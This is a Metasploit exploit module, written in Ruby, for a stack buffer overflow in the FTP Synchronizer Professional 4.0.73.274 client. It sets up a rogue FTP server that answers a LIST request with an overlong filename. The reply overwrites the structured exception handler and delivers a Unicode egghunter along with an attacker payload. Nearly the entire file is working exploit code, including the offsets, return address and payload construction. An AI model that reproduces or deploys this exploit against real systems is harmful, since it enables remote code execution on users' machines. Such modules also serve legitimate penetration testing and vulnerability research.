FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow

`##  
# $Id: ftpsynch_list_reply.rb 10661 2010-10-12 18:40:13Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Exploit::Remote::FtpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro  
version 4.0.73.274 The overflow gets triggered by sending an overly long filename to  
the client in response to a LIST command.  
The LIST command gets issued when doing a preview or when you have just created a new  
sync profile and allow the tool to see the differences.  
This will overwrite a structured exception handler and trigger an access violation.  
},  
'Author' =>  
[  
'myne-us', #found the bug  
'corelanc0d3r' #wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10661 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x2f\x5c",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
end  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
totalsize = 4000  
foldername = "A" * target['Offset']  
nseh = "\x61\x42"  
seh = "\x2D\x78"  
sehpad = "\x44\x62"  
align = "\x53\x62\x58\x62"  
align << "\x40\x62"  
align << "\x05\x11\x10\x62"  
align << "\x2d\x10\x10\x62"  
padding = ("\x42\x62" * 53) + ("\x48\x62")  
#basereg EAX, Unicode encoded egghunter  
hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"  
hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"  
hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"  
hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"  
hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"  
buffer = foldername + nseh + seh + sehpad + align + padding + hunter  
junk = "D" * (totalsize-buffer.length)  
buffer << junk  
print_status(" - Sending directory list via data connection")  
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"  
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"  
conn.put("total 2\r\n"+dirlist)  
print_status(" - Payload sent, wait for hunter...")  
conn.close  
return  
end  
  
end  
`